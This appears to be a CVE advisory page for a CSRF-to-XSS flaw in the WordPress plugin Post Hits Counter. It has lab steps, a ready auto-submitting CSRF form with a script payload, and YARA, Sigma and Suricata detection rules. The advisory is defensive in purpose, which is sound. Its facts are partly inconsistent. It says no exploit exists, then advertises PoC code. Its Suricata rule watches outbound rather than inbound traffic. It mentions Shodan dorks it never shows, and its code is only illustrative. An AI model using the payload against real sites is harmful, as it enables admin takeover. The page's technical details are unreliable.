CVE-2024-53725
Executive Summary
CVE-2024-53725 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Post Hits Counter by aMiT, affecting versions up to and including 2.8.23. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings, which can lead to Reflected Cross-Site Scripting (XSS). This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 7.1 (High), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 7.1 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is High due to the low complexity and the potential for XSS, which can lead to session hijacking or defacement.
Deep Dive & Mechanics
The vulnerability exists in the hits-counter component of the Post Hits Counter plugin. The plugin fails to properly validate or sanitize nonce tokens in certain administrative actions, allowing an attacker to forge requests on behalf of an authenticated administrator. When the administrator is tricked into clicking a malicious link or visiting a crafted page, the attacker can execute actions like changing plugin settings or injecting malicious scripts.
The reflected XSS component occurs because the plugin does not sanitize user input in the response, allowing an attacker to inject arbitrary JavaScript that executes in the context of the admin's session.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.8.23):
// Example of missing nonce check
function save_settings() {
update_option('phc_settings', $_POST['phc_settings']);
// No nonce verification
}
Patched Code (Hypothetical):
function save_settings() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'phc_save_settings')) {
wp_die('Security check failed');
}
update_option('phc_settings', $_POST['phc_settings']);
}
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress with Post Hits Counter <= 2.8.23 on a local server.
- Craft Payload: Create a malicious HTML page that auto-submits a form to the vulnerable endpoint.
- Execute: Send the link to an authenticated admin. When clicked, the CSRF triggers a settings change that injects XSS.
Example CSRF Payload:
<html>
<body>
<form action="http://target/wp-admin/admin.php?page=post-hits-counter" method="POST">
<input type="hidden" name="phc_settings" value="<script>alert('XSS')</script>">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Blue Team
- Monitor Logs: Check for unusual POST requests to
admin.php?page=post-hits-counterwithout a valid nonce. - Harden: Implement Content Security Policy (CSP) headers to mitigate XSS.
- Audit: Review plugin code for missing nonce checks and sanitization.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin.php?page=post-hits-counterwith suspicious parameters. - File: Modified
wp-content/plugins/post-hits-counter/files. - Log: WordPress debug logs showing unexpected settings changes.
- Browser: Execution of unexpected JavaScript in admin pages.
Detection Engineering
YARA Rule
rule CVE_2024_53725_CSRF_XSS {
meta:
description = "Detects Post Hits Counter plugin files vulnerable to CSRF/XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-53725"
strings:
$vuln_func = "update_option('phc_settings'" nocase
$nonce_missing = "wp_verify_nonce" nocase
condition:
$vuln_func and not $nonce_missing
}
Sigma Rule
title: CVE-2024-53725 - Post Hits Counter CSRF/XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF exploitation against Post Hits Counter plugin
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin.php?page=post-hits-counter'
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53725 - Post Hits Counter CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin.php"; content:"page=post-hits-counter"; http.client_body; content:"phc_settings"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Post Hits Counter plugin until a patch is available.
- Short-term: Implement Web Application Firewall (WAF) rules to block suspicious POST requests to the vulnerable endpoint.
- Long-term: Apply a nonce check and input sanitization to all plugin admin actions. Monitor the vendor's repository for updates.
- User Training: Educate administrators about phishing attacks that exploit CSRF.
Valters IT Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.